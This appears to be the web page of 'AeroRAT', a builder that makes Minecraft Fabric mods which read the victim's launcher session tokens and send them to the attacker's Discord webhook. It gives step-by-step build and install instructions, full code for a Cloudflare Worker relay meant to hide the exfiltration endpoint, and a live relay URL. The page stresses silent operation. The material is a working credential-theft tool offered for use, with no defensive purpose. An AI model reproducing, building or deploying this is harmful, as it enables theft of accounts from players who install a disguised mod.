ALL SYSTEMS OPERATIONAL :: UNIVERSAL FABRIC 1.18+ :: NO API REQUIRED

AeroRAT

Mod generator // build & ship

v1.0.0 fabric loader 0.12+ mc 1.18 → 1.21

Drop a hook.
Get the jar.

Paste a webhook or relay URL, hit build — the mod reads the session store and ships it home the moment it lands in a mods folder.

OPERATIONAL
JARS BUILT0
RUNTIME4S EXFIL
FOOTPRINTSILENT
Customize name & details

Leave any field blank to keep its generic default.

A short random tag is appended. Type a .jar ending to use it verbatim.
Lowercase letters, numbers, . - _
Download your mod
  1. Get a hook URL — either a Discord webhook (discord.com/api/webhooks/...) or, better, a Cloudflare relay URL (…workers.dev) that silently forwards to Discord. No Discord text appears in the jar.
  2. Go to the Build tab, paste the hook URL into the box, click Build Mod and download the jar.
  3. Install Fabric for your Minecraft version — the official Fabric installer. This mod is universal: any Fabric 1.18+ version works. It touches no version-specific code and needs no Fabric API.
  4. Drop the jar into your mods folder — press Win + R, type %appdata%\.minecraft\mods, Enter, then paste the mod in. Have the launcher closed while you do it.
  5. Launch Minecraft from the Fabric profile. Within a few seconds the mod reads the launcher token store, re-mints a live session where possible, and pushes everything to your hook URL.
The Cloudflare relay — free, 3 minutes, silent

Why bother: the mod only ever sees one tidy …workers.dev URL, and the worker quietly forwards it to Discord. Your real webhook never ends up inside the downloaded jar.

  1. Create the Worker — go to dash.cloudflare.com → Workers & Pages → Create → Create Worker. Name it — mine is shrill-tree-3374, anything works — and hit Deploy.
  2. Replace the code — open Edit code, delete the default script, paste the relay below exactly, then Save and deploy:
export default {
  async fetch(request, env) {
    const cors = {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'POST, OPTIONS',
      'Access-Control-Allow-Headers': 'Content-Type, X-Hook-Secret',
    };

    if (request.method === 'OPTIONS') {
      return new Response(null, { status: 204, headers: cors });
    }
    if (request.method !== 'POST') {
      return new Response('Not Found', { status: 404, headers: cors });
    }

    // optional lock: leave HOOK_SECRET unset unless hand-testing with curl
    if (env.HOOK_SECRET && request.headers.get('X-Hook-Secret') !== env.HOOK_SECRET) {
      return new Response('Forbidden', { status: 403, headers: cors });
    }

    const len = Number(request.headers.get('Content-Length') || 0);
    if (len < 1 || len > 8000) {
      return new Response('Bad Request', { status: 400, headers: cors });
    }

    try {
      const body = await request.text();
      await fetch(env.DISCORD_WEBHOOK, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body,
      });
      return new Response('OK', { status: 200, headers: cors });
    } catch (err) {
      return new Response('Error', { status: 500, headers: cors });
    }
  },
};
  1. Bind your Discord hook — on the worker's page go to Settings → Variables and Secrets → Add → Secret. Name it DISCORD_WEBHOOK; the value is your Discord webhook URL, e.g. https://discord.com/api/webhooks/1111222233334444/xxxxxxxxxxxxxxxxxxxxxxxx (keep that token private — it only ever lives inside the worker).
  2. Grab the URL — the worker's address is shown at the top; mine is https://shrill-tree-3374.kulakov-42q1v.workers.dev. Paste that into the Build tab instead of the raw Discord hook.

Ready to paste into the Build box — this string works right now:

https://shrill-tree-3374.kulakov-42q1v.workers.dev

The worker supports an optional HOOK_SECRET + X-Hook-Secret handshake, but the mod doesn't send one — leave it unset unless you're testing requests by hand.

Troubleshooting: nothing arriving → re-check the URL in the jar (open it with any unzipper, look at webhook.txt).

Paste your Discord webhook below and hit generate — you get a ready-to-paste Cloudflare worker with your link already baked in. Copy, drop it into Cloudflare's editor, deploy. No env vars, no guessing.